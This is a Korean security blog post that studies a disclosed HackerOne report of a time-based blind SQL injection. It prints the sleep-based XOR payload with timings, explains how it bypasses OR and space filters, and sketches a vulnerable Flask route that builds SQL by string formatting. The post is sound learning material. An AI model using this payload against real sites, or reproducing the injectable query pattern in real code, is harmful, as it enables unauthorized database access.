일일일보(1일 1보고서)
Report Information
Report URL (보고서 URL): https://hackerone.com/reports/2020429
Report Title (보고서 제목): Blind Sql Injection https:/████████
Severity (취약점 등급): Medium (4 ~ 6.9)
Weakness (취약점 유형): Blind SQL injection
Bounty (포상금): None
Report Review
POC: https:/█████████/0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z => 15.896
테스트한 쿼리문들
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z => 15.896
0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z => 10.740
0'XOR(if(now()=sysdate(),sleep(2),0))XOR'Z => 2.714
0'XOR(if(now()=sysdate(),sleep(1),0))XOR'Z => 1.927
우선 바로 알 수 있듯이 Sleep based Blind SQL injection 유형이다.
쿼리문을 하나씩 쪼개면
0'XOR
(if
(now()=sysdate(),sleep(15),0)
)
XOR
'Z => 15.896
이렇게 나누게 되고 특이하게 XOR을 이용하여 공격을 시도하였다.
여기서 SQL Query 상의 XOR은 흔이 알고 있는 XOR 연산자와 동일한 기능을 가지지만 만약, 주어진 값이 NULL이면 NULL을 반환한다.
EX)
SELECT 1 XOR 1; => 0
SELECT 1 XOR NULL; => NULL
SELECT 1 XOR 1 XOR 1; => 1
문법상 굳이 XOR을 사용할 이유는 없지만, OR 키워드를 우회하거나 공백을 우회하기 위해 사용했을 가능성이 높다.
0' 에서 싱글쿼터(')를 이용하여 문자열에서 벗어나고
XOR로 OR 연산자를 대신하였으며
중괄호를 이용하여 공백을 우회하였다.
now()=sysdate() 를 이용하여 항상(아마도) 참이 되도록 하였고,
참일 경우 sleep(15)를 주어 구문이 정상적으로 작동할 경우 now()=sysdate()로 항상 참이 되어 sleep(15)가 발동되어 약 15초 가량 지연되게 된다.
마무리로 중괄호와 XOR, 'Z로 에러가 발생하지 않도록 연결하였다.
일단 위 쿼리문에서 알 수 있는 점은
1. /0'XOR ~~~ 인 점으로 보아 명시적인 파라미터 value가 아닌 path를 값으로 받았다.
2. XOR 연산자를 이용하여 다른 연산자를 대체하였으며 특정 부분에서 NULL이 반환되어도 각 구문은 OR 처럼 발동된다.
3. 주석을 사용하지 않았다.
예상되는 쿼리문
flask 기준
@app.route('/some/path/<string:user_id>')
SELECT * FROM table where id='{user_id}'
라고 예상하며 위의 POC 쿼리문을 삽입할 경우
SELECT * FROM table where id='0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z'
가 되어 문제 없이 잘 작동하는 쿼리문이 완성되었다.
알아갈 점
흔히 SQL injeciton 워게임을 풀게 되면 명시적인 parameter에 값을 삽입하여 SQL injection을 발동시킨다. 하지만, 이 보고서 에서는 명시적인 파라미터(e.g. ?q=1&Nickname=filime)가 아닌 내부에서 처리하는 로직에서 삽입되는 것이기 때문에 알기 힘들다.
결국은 저런 path에 따라 결과가 달라지는 부분에도 SQL injection을 시도해봐야 한다는 것이다.
EX)
/some/path/user_id/0
/some/path/user_id/1
/some/path/user_id/3
/some/path/reports/0
/some/path/reports/2
/some/path/reports/1032
위와 같은 pattern에서 SQL injection이 발동될 수 있다는 가능성이 있다는 것만 알아가도 충분한 것 같다.
'Web Hacking > 일일일보(1일 1보고서)' 카테고리의 다른 글
[일일일보] Mars 취약점 (subdomain takeover) (0) | 2023.11.17 |
---|---|
[일일일보] wordpress 취약점 (reflected XSS) (0) | 2023.11.17 |
[일일일보] - PatchdDay api에서 발생하는 비 로그인 유저의 정보 열람 (0) | 2023.07.12 |